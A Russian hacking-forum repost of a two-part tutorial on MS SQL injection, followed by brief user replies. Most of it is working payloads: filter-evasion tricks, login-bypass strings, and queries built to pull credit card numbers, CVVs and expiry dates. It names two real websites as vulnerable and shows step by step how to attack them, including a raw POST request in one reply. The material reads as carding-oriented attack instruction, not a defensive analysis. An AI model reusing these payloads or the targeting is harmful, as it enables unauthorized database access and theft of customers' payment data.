Я не буду рассказывать об азах инъекций в MS SQL, на эту тему написано и сказано уже очень много. Я хочу поделится некоторым своим опытом, набранным бессонными ночами, когда я ковырял гимморные ms sql инжекты и курил мануалы, пытаясь понять, что я делаю неправильно. Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так: Code: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'. /inc/inc_customer.asp, line 103 ошибка возникает из за символа “+”, поэтому вот такой запрос: Code: 1’ or 1=@@version-- в данном случае пройдет на ура и выдаст нам версию сервера. Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос: Code: http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)-- и получив имя первой таблицы, к примеру: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int. мы не можем получить имя второй, и вместо нее видим ответ: Code: [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'Pincodes'. В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу: Code: http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2Bchar(111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))-- мы получим имя второй таблицы: Code: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'PRODUCT' to data type int. Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей. Идем дальше. Иногда хитромудрые админы употреб*яют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру: Code: http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)+ from+orders+where+orderid=CRX-40003)-- в этом случае сервер отвечает: Code: Invalid column name 'CRX'. так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля: Code: http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar)%2B%27%3A%27%2Bcast(expire+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)-- Иногда само название поля состоит из двух слов, между которыми находиться пробел: Code: http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+('Account%20Number','Card%20Number','Experation%20Date', 'CVV%20Response'))— и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия: Code: http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)-- И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных: Code: http://www.target.com/dinamica.asp?ID=1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1), email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp (email) select email from orders;-- с последующим забором нужных нам данных: Code: http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+email+from+temp+where+id=1)-- И как закончишь, не забудь убрать за собой, удалив таблицу: Code: http://www.target.com/dinamica.asp?ID=1;drop table temp;-- Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще. (с) durito ист. http://www.xakep.ru/post/43124/default.asp продолжение: После выхода предыдущего мануала по тонкостям mssql-инъекций, меня не однократно просили продолжить тему. И вот я подготовил вторую часть. Начнем мы с нечасто встречаемого, но в то же время наиболее затруднительного для новичков вопроса: «Что делать если в запросе select фильтруется?», т.е. запрос вида: Code: http://www.target.com/data.asp?id=1%27%20or%201=@@version-- проходит и возвращает версию сервера, а запрос: Code: http://www.target.com/data.asp?id=1%27%20or%201=(select db_name())— возвращает сообщение об ошибке или редиректит на главную страницу. На форумах советуют либо вставлять комментарии в select вида: sel/*lala*/ect, что честно говоря, у меня никогда это не проходило и ошибка скули всегда сообщала, что: Code: [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'ect'. Так же, часто рекомендуют использовать деление операторов: Code: http://www.target.com/data.asp?id=1';EXEC('SEL'+'ECT db_name())-- http://www.target.com/data.asp?id=1';exec (*UPDA*+*TE users*+*SET password=123456*)— но и это работает крайне редко. В то же время фильтрация обходиться крайне просто, достаточно перевести select в ASCII: %73%65%6C%65%63%74 Code: http://www.target.com/data.asp?id =1%27%20or%201=(%73%65%6C%65%63%74+db_name())-- и фильтрация в большинстве случаев обходиться. Только не забудь, что обычно фильтруется не только select, но и другие операторы, поэтому если в процессе перебора таблиц и полей тебе встретятся такие их названия как: date_update или date_selected, то их надо зачарить. А то я как-то целый час ломал голову, почему в базе большого магазина всего три таблицы, пока не понял, что ошибка возникает из-за фильтрации названия таблицы, содержащей в себе слово select. Со следующей проблемой я столкнулся впервые на сайте labexp.com. Меня интересовал доступ в базу: http://labexp.com/login.good.html Интуиция подсказывала, что проникнуть внутрь не составит большого труда, и скорее всего можно будет обойти авторизацию используя одну из комбинаций: Code: ' or 1=1-- " or 1=1-- or 1=1-- ' or '1'='1 " or "1"="1 ') or ('1'='1 Но вот незадача - при вводе логина режутся символы и больше 10 не вставить, а при попытке подставить вместо логина и пароля просто кавычку ругается на некорректный символ в поле id. Но ругается JavаScript'ом, поэтому идем в исходник html-страницы и видим: Code: if (theForm.id.value.length > 10) { alert("Please enter at most 10 characters in the \"id\" field."); theForm.id.focus(); return (false); } var checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМНОПРСТУФХЦШЩЪЫЬЭЮЯабвгдежз ийклмнопрстуфхцшщъыьэюя0123456789-"; var checkStr = theForm.id.value; var allValid = true; var validGroups = true; for (i = 0; i < checkStr.length; i++) т.е. JavаScript проверяет ввод корректных символов: Code: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs tuvwxyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМНОПРСТУФХЦШ ЩЪЫЬЭЮЯабвгдежзи йклмнопрстуфхцшщъыьэюя0123456789- никаких кавычек тут нет. Поэтому вставить кавычку не получается. Но это же проверка на стороне пользователя, поэтому заходим в свойства браузера, отключаем поддержку JavаScript и в водим в поля : Code: Courier ID: ' or '1'='1 Password: ' or '1'='1 и мы внутри. Ну и напоследок сайт www.centennialfunds.com, уязвим скрипт ретрива пароля: https://www.centennialfunds.com/forgot.asp в поле Your Email: вставляем Code: 1' or 1=@@version— и получаем информацию о сервере Но я бы не стал приводить здесь его, если бы все было так просто. Если попробовать перебирать таблицы, то возникает проблема: количество символов в поле ретрива ограничено. Поэтому идем другим путем - открываем исходный код страницы и берем оттуда фрагмент: Code: <h1>Login Reminder</h1> <p>Enter the email we have on record for you, click on "Send Login," and your login information will be mailed immediately to that address.</p><br /> <form name="frmForgot" method="post" action="/forgot.asp" onSubmit="return EditCheck();"> <input type="hidden" name="submitted" value="true"> <input type="hidden" name="where" value=""> Your Email: <input type="text" name="email" class="formBox" size="30" maxlength="100" value=""><br /><br /> <input type="submit" class="formButton" value="Send Login"> <input type="button" class="formButton" value="Cancel" onClick="document.location.href='login.asp?where=';"> </form><script language="JavаScript"> function EditCheck() { if (CheckNull('frmForgot','email','Please enter your Email Address.')) { return false; } if (CheckEmail('frmForgot','email', 'The email address you entered\ndoes not appear to be valid.')) { return false; } } document.frmForgot.email.focus(); </script> Создаем у себя на винте файл html, в который копируем этот код между тегами и немного его видоизменяем: Code: <html> <h1>Login Reminder</h1> <p>Enter the email we have on record for you, click on "Send Login," and your login information will be mailed immediately to that address.</p><br /> <form name="frmForgot" method="post" action="https://www.centennialfunds.com/forgot.asp" onSubmit="return EditCheck();"> <input type="hidden" name="submitted" value="true"> <input type="hidden" name="where" value=""> Your Email: <input type="text" name="email" class="formBox" size="100" maxlength="3000" value=""><br /><br /> <input type="submit" class="formButton" value="Send Login"> <input type="button" class="formButton" value="Cancel" onClick="document.location.href='login.asp?where=';"> </form> <script language="JavаScript"> function EditCheck() { if (CheckNull('frmForgot','email','Please enter your Email Address.')) { return false; } if (CheckEmail('frmForgot','email','The email address you entered\ndoes not appear to be valid.')) { return false; } } document.frmForgot.email.focus(); </script> <div id="foo" runat="server"> <p><br /><br /><br /><br />Copyright <script type="text/JavаScript"> </html> Прописываем урл сайта и увеличиваем количество символов maxlength="3000", я сначала поставил 1000, но не хватило. И потом уже перебираем имена таблиц и полей, только не забудь, это post запрос, поэтому никаких плюсов, только пробелы. Продолжение следует… (с) durito ист. http://www.xakep.ru/post/43664/default.asp
о, кардер дурито ) но увы, опять бояны, ничего нового =\ насчет JS, то уж легче запрос отловить и напрямую отослать.. Code: POST: https://www.centennialfunds.com/forgot.asp Host: www.centennialfunds.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://www.centennialfunds.com/forgot.asp Cookie: ASPSESSIONIDCSDSRBQC=LDFBMDLDHOMNFJDJLBGKAJEA Content-Type: application/x-www-form-urlencoded submitted=true&where=&email=1'+and+1=@@version-- зы. а почему в "Статьи > Чужие Статьи" ? статья то твоя )
не будет работать... екзек запускает вызов системных процедур. Вообще если по чесно слизано с моей статьи... причем мне меньше нравиться.
и вообще с созданием html форм у себя на компе под дестки, пора учиться работать с пакетными данными на прямую дабы софта щас просто навалом. Для примера можно прогуляться по аддонам фф в разделе девелоперс.